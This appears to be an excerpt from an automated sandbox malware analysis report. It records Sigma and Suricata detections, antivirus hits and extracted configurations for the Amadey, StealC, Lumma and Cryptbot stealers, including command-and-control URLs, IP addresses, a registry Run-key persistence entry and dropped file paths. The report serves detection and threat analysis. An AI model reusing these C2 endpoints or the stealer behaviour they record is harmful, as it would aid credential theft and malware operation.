Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 2212, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\32eab1d1d8.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008569041\gok44.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008569041\gok44.ps1", CommandLine|base64offset|contains: ^rbzh'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentImage: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentProcessId: 2212, ParentProcessName: skotes.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008569041\gok44.ps1", ProcessId: 3668, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T02:14:47.989853+0100	2028371	3	Unknown Traffic	192.168.2.4	49900	104.21.33.116	443	TCP
2024-11-24T02:14:50.402174+0100	2028371	3	Unknown Traffic	192.168.2.4	49907	104.21.33.116	443	TCP
2024-11-24T02:14:53.329256+0100	2028371	3	Unknown Traffic	192.168.2.4	49913	104.21.33.116	443	TCP
2024-11-24T02:14:56.654316+0100	2028371	3	Unknown Traffic	192.168.2.4	49924	104.21.33.116	443	TCP
2024-11-24T02:15:01.444951+0100	2028371	3	Unknown Traffic	192.168.2.4	49937	104.21.33.116	443	TCP
2024-11-24T02:15:04.335037+0100	2028371	3	Unknown Traffic	192.168.2.4	49944	104.21.33.116	443	TCP
2024-11-24T02:15:06.701720+0100	2028371	3	Unknown Traffic	192.168.2.4	49951	104.21.33.116	443	TCP
2024-11-24T02:15:07.254545+0100	2028371	3	Unknown Traffic	192.168.2.4	49952	104.21.33.116	443	TCP
2024-11-24T02:15:14.747934+0100	2028371	3	Unknown Traffic	192.168.2.4	49973	104.21.33.116	443	TCP
2024-11-24T02:15:15.423927+0100	2028371	3	Unknown Traffic	192.168.2.4	49974	104.21.33.116	443	TCP
2024-11-24T02:15:18.536111+0100	2028371	3	Unknown Traffic	192.168.2.4	49982	104.21.33.116	443	TCP
2024-11-24T02:15:22.443977+0100	2028371	3	Unknown Traffic	192.168.2.4	49995	104.21.33.116	443	TCP
2024-11-24T02:15:23.234549+0100	2028371	3	Unknown Traffic	192.168.2.4	49996	104.21.33.116	443	TCP
2024-11-24T02:15:32.011661+0100	2028371	3	Unknown Traffic	192.168.2.4	50019	104.21.33.116	443	TCP
2024-11-24T02:15:37.123761+0100	2028371	3	Unknown Traffic	192.168.2.4	50032	104.21.33.116	443	TCP
2024-11-24T02:15:40.775869+0100	2028371	3	Unknown Traffic	192.168.2.4	50039	104.21.33.116	443	TCP
2024-11-24T02:15:40.964333+0100	2028371	3	Unknown Traffic	192.168.2.4	50040	104.21.33.116	443	TCP
2024-11-24T02:15:43.821614+0100	2028371	3	Unknown Traffic	192.168.2.4	50050	104.21.33.116	443	TCP
2024-11-24T02:15:48.716704+0100	2028371	3	Unknown Traffic	192.168.2.4	50064	104.21.33.116	443	TCP
2024-11-24T02:15:51.909006+0100	2028371	3	Unknown Traffic	192.168.2.4	50071	104.21.33.116	443	TCP
2024-11-24T02:15:53.941010+0100	2028371	3	Unknown Traffic	192.168.2.4	50076	104.21.33.116	443	TCP
2024-11-24T02:15:56.404417+0100	2028371	3	Unknown Traffic	192.168.2.4	50083	104.21.33.116	443	TCP
2024-11-24T02:16:00.556223+0100	2028371	3	Unknown Traffic	192.168.2.4	50116	104.21.33.116	443	TCP
2024-11-24T02:16:02.744264+0100	2028371	3	Unknown Traffic	192.168.2.4	50131	104.21.33.116	443	TCP
2024-11-24T02:16:32.841729+0100	2028371	3	Unknown Traffic	192.168.2.4	50216	20.189.173.22	443	TCP
2024-11-24T02:17:51.377124+0100	2028371	3	Unknown Traffic	192.168.2.4	50276	40.79.173.40	443	TCP

ET MALWARE Amadey Bot Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T02:14:11.735307+0100	2044623	1	A Network Trojan was detected	192.168.2.4	49796	185.215.113.43	80	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T02:14:49.051225+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49900	104.21.33.116	443	TCP
2024-11-24T02:14:51.253659+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49907	104.21.33.116	443	TCP
2024-11-24T02:15:05.616052+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49944	104.21.33.116	443	TCP
2024-11-24T02:15:08.509343+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49952	104.21.33.116	443	TCP
2024-11-24T02:15:41.576527+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50040	104.21.33.116	443	TCP
2024-11-24T02:15:41.662632+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50039	104.21.33.116	443	TCP
2024-11-24T02:15:44.524634+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50050	104.21.33.116	443	TCP
2024-11-24T02:16:03.463418+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50131	104.21.33.116	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T02:14:49.051225+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49900	104.21.33.116	443	TCP
2024-11-24T02:15:05.616052+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49944	104.21.33.116	443	TCP
2024-11-24T02:15:41.662632+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50039	104.21.33.116	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T02:14:51.253659+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49907	104.21.33.116	443	TCP
2024-11-24T02:15:08.509343+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49952	104.21.33.116	443	TCP
2024-11-24T02:15:44.524634+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50050	104.21.33.116	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T02:15:43.128215+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	50049	185.215.113.16	80	TCP
2024-11-24T02:16:04.975286+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	50140	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T02:14:07.152967+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49783	185.215.113.43	80	TCP
2024-11-24T02:14:16.322915+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49808	185.215.113.43	80	TCP
2024-11-24T02:14:19.695343+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49814	185.215.113.43	80	TCP
2024-11-24T02:14:24.293474+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49828	185.215.113.43	80	TCP
2024-11-24T02:14:28.988291+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49839	185.215.113.43	80	TCP
2024-11-24T02:14:33.570096+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49853	185.215.113.43	80	TCP
2024-11-24T02:14:38.184062+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49868	185.215.113.43	80	TCP
2024-11-24T02:14:47.120945+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49895	185.215.113.43	80	TCP
2024-11-24T02:14:55.625517+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49919	185.215.113.43	80	TCP
2024-11-24T02:15:03.781111+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49938	185.215.113.43	80	TCP
2024-11-24T02:15:14.710842+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49969	185.215.113.43	80	TCP
2024-11-24T02:15:19.380034+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49985	185.215.113.43	80	TCP
2024-11-24T02:21:04.457183+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50420	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T02:14:33.001244+0100	2054350	1	A Network Trojan was detected	192.168.2.4	49850	34.116.198.130	80	TCP
2024-11-24T02:14:34.668470+0100	2054350	1	A Network Trojan was detected	192.168.2.4	49861	34.116.198.130	80	TCP
2024-11-24T02:14:44.266230+0100	2054350	1	A Network Trojan was detected	192.168.2.4	49888	34.116.198.130	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T02:13:03.901916+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T02:13:03.774803+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T02:13:04.221672+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T02:13:05.779235+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T02:13:04.350796+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T02:14:57.577476+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49924	104.21.33.116	443	TCP
2024-11-24T02:15:32.713488+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	50019	104.21.33.116	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T02:13:03.329290+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-24T02:14:58.381490+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49927	185.215.113.206	80	TCP
2024-11-24T02:15:19.395397+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49981	185.215.113.206	80	TCP
2024-11-24T02:15:46.053277+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50057	185.215.113.206	80	TCP

ETPRO EXPLOIT Multiple Vendor Malformed ZIP Archive Antivirus Detection Bypass

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T02:21:00.110163+0100	2800029	1	Attempted User Privilege Gain	31.41.244.11	80	192.168.2.4	50416	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T02:13:51.556844+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49758	185.215.113.43	80	TCP
2024-11-24T02:18:58.298908+0100	2856147	1	A Network Trojan was detected	192.168.2.4	50344	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T02:14:05.773405+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49759	TCP
2024-11-24T02:21:03.077189+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	50413	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T02:13:56.236082+0100	2803305	3	Unknown Traffic	192.168.2.4	49760	31.41.244.11	80	TCP
2024-11-24T02:14:08.712377+0100	2803305	3	Unknown Traffic	192.168.2.4	49788	31.41.244.11	80	TCP
2024-11-24T02:14:13.198379+0100	2803305	3	Unknown Traffic	192.168.2.4	49801	31.41.244.11	80	TCP
2024-11-24T02:14:21.157535+0100	2803305	3	Unknown Traffic	192.168.2.4	49820	31.41.244.11	80	TCP
2024-11-24T02:14:25.815000+0100	2803305	3	Unknown Traffic	192.168.2.4	49832	31.41.244.11	80	TCP
2024-11-24T02:14:30.497825+0100	2803305	3	Unknown Traffic	192.168.2.4	49844	31.41.244.11	80	TCP
2024-11-24T02:14:35.133000+0100	2803305	3	Unknown Traffic	192.168.2.4	49857	31.41.244.11	80	TCP
2024-11-24T02:14:39.696162+0100	2803305	3	Unknown Traffic	192.168.2.4	49870	185.215.113.16	80	TCP
2024-11-24T02:14:48.630607+0100	2803305	3	Unknown Traffic	192.168.2.4	49901	185.215.113.16	80	TCP
2024-11-24T02:14:57.135060+0100	2803305	3	Unknown Traffic	192.168.2.4	49925	185.215.113.16	80	TCP
2024-11-24T02:15:05.360343+0100	2803305	3	Unknown Traffic	192.168.2.4	49945	185.215.113.16	80	TCP
2024-11-24T02:15:16.177352+0100	2803305	3	Unknown Traffic	192.168.2.4	49975	31.41.244.11	80	TCP
2024-11-24T02:20:59.888181+0100	2803305	3	Unknown Traffic	192.168.2.4	50416	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T02:13:06.917713+0100	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-24T02:13:22.227157+0100	2803304	3	Unknown Traffic	192.168.2.4	49748	185.215.113.206	80	TCP
2024-11-24T02:13:24.170864+0100	2803304	3	Unknown Traffic	192.168.2.4	49748	185.215.113.206	80	TCP
2024-11-24T02:13:25.486383+0100	2803304	3	Unknown Traffic	192.168.2.4	49748	185.215.113.206	80	TCP
2024-11-24T02:13:26.595695+0100	2803304	3	Unknown Traffic	192.168.2.4	49748	185.215.113.206	80	TCP
2024-11-24T02:13:30.173780+0100	2803304	3	Unknown Traffic	192.168.2.4	49748	185.215.113.206	80	TCP
2024-11-24T02:13:31.282610+0100	2803304	3	Unknown Traffic	192.168.2.4	49748	185.215.113.206	80	TCP
2024-11-24T02:13:37.231843+0100	2803304	3	Unknown Traffic	192.168.2.4	49756	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T02:16:01.390051+0100	2843864	1	A Network Trojan was detected	192.168.2.4	50116	104.21.33.116	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0000000B.00000002.2221067323.0000000000301000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 0000001D.00000002.2908507137.00000000011AE000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: 32eab1d1d8.exe.7524.28.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": "https://property-imper.sbs/api", "Build Version": "LOGS11--LiveTraffi"}

Multi AV Scanner detection for domain / URL

Source: home.fvtekk5pn.top

Virustotal: Detection: 12%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\service123.exe	ReversingLabs: Detection: 45%
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	ReversingLabs: Detection: 55%

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 39%
Source: file.exe	Virustotal: Detection: 50%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C5DA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D4440 PK11_PrivDecrypt,	0_2_6C5D4440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A4420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C5A4420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D44C0 PK11_PubEncrypt,	0_2_6C5D44C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6225B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C6225B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6C5DA650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B8670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6C5B8670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BE6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6C5BE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6C5FA730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C600180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6C600180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D43B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6C5D43B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F7C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6C5F7C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B7D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6C5B7D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FBD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6C5FBD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F9EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6C5F9EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D3FF0 PK11_PrivDecryptPKCS1,	0_2_6C5D3FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D3850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6C5D3850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D9840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6C5D9840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FDA40 SEC_PKCS7ContentIsEncrypted,	0_2_6C5FDA40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D3560 PK11_Decrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6C5D3560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CF050 PR_smprintf,SEC_CertNicknameConflict,strlen,realloc,memset,realloc,strlen,free,PR_smprintf,memcpy,PORT_NewArena_Util,PR_SetError,PORT_FreeArena_Util,PR_SetError,PORT_NewArena_Util,PR_SetError,PORT_FreeArena_Util,PORT_NewArena_Util,PR_SetError,PORT_FreeArena_Util,memcpy,PORT_NewArena_Util,PR_SetError,PORT_FreeArena_Util,PR_SetError,PR_SetError,PR_GetCurrentThread,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,PK11_GenerateRandom,SECKEY_DestroyPrivateKey,PR_SetError,free,free,free,free,PK11_FindCertInSlot,PORT_NewArena_Util,free,PK11_ImportCert,PR_SetError,free,CERT_DestroyCertificate,PORT_FreeArena_Util,PR_GetCurrentThread,PORT_ArenaAlloc_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_GetCurrentThread,strlen,PR_SetError,PR_GetCurrentThread,PK11_HasAttributeSet,PK11_HasAttributeSet,PK11_HasAttributeSet,PK11_HasAttributeSet,PK11_HasAttributeSet,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,PR_SetError,free,SECKEY_DestroyPrivateKey,SECKEY_DestroyEncryptedPrivateKeyInfo,PR_SetError,	0_2_6C5CF050

Source: 5ff77f639c.exe, 0000000C.00000003.2348114391.00000000078E2000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_cd6491e5-3

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49907 version: TLS 1.2
